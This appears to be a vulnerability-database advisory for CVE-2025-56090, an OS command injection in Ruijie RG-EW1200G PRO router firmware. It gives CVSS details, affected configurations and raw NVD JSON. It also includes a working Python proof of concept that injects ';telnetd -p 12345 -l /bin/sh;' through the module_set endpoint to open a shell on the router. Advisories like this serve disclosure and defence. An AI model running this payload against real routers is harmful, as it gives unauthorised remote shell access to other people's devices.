Security Vulnerability Report
中文
CVE-2025-56090 CVSS 8.8 HIGH

CVE-2025-56090

Published: 2025-12-11 18:16:21
Last Modified: 2026-01-27 17:38:37

Description

OS Command Injection vulnerability in Ruijie RG-EW1200G PRO RG-EW1200G PRO V1.00/V2.00/V3.00/V4.00 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_config/config_retain.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-ew1200g_pro_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew1200g_pro:1.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:ruijie:rg-ew1200g_pro:2.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:ruijie:rg-ew1200g_pro:3.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:ruijie:rg-ew1200g_pro:4.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-ew1200r_firmware:ew_3.0\(1\)b11p301:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew1200r:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-EW1200G PRO V1.00
Ruijie RG-EW1200G PRO V2.00
Ruijie RG-EW1200G PRO V3.00
Ruijie RG-EW1200G PRO V4.00

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-56090 PoC - Ruijie RG-EW1200G PRO OS Command Injection # Target: /usr/local/lua/dev_config/config_retain.lua # Endpoint: module_set target_ip = "192.168.XX.XX" # Replace with target router IP target_url = f"http://{target_ip}/cgi-bin/luci/api/module_set" # Malicious payload - injects command to create reverse shell payload = { "module": "config_retain", "action": "set", "data": ";telnetd -p 12345 -l /bin/sh;" # Command injection payload } try: print(f"[*] Sending exploit to {target_url}") print(f"[*] Payload: {payload}") response = requests.post(target_url, data=payload, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") if response.status_code == 200: print("[+] Exploit sent successfully!") print("[+] Check if telnet service is running on port 12345") else: print("[-] Exploit may have failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56090", "sourceIdentifier": "[email protected]", "published": "2025-12-11T18:16:21.217", "lastModified": "2026-01-27T17:38:36.743", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-EW1200G PRO RG-EW1200G PRO V1.00/V2.00/V3.00/V4.00 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_config/config_retain.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew1200g_pro_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "0FE4961A-D302-485D-95EE-9B4F6A334AD4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1200g_pro:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "76D20D6E-9617-49BA-BE00-524954642206"}, {"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1200g_pro:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "D7437E1D-1574-45FD-83D7-9F7A705BB117"}, {"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1200g_pro:3.0:*:*:*:*:*:*:*", "matchCriteriaId": "A8BD8D2D-707F-45C4-9E29-A0CC22D94F1C"}, {"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1200g_pro:4.0:*:*:*:*:*:*:*", "matchCriteriaId": "7E14C332-0BE9-49DC-8FE8-37069F691528"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew1200r_firmware:ew_3.0\\(1\\)b11p301:*:*:*:*:*:*:*", "matchCriteriaId": "BC668FE3-F9A8-4677-8FDC-A4105801D923"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1200r:-:*:*:*:*:*:*:*", "matchCriteriaId": "CF605532-EA4B-4C10-88EE-E13FD3C36391"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EkH0xWseMXBJg-Ck_uD34fcB-3pDo3MAQc2AKNlXqwYr2w?e=GU9l62", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/EfSHWqE3N11FpgQsV1BlZk0BxXIhFQjIp_xmJYIq1APvrw?e=JCIm6k", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56090.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}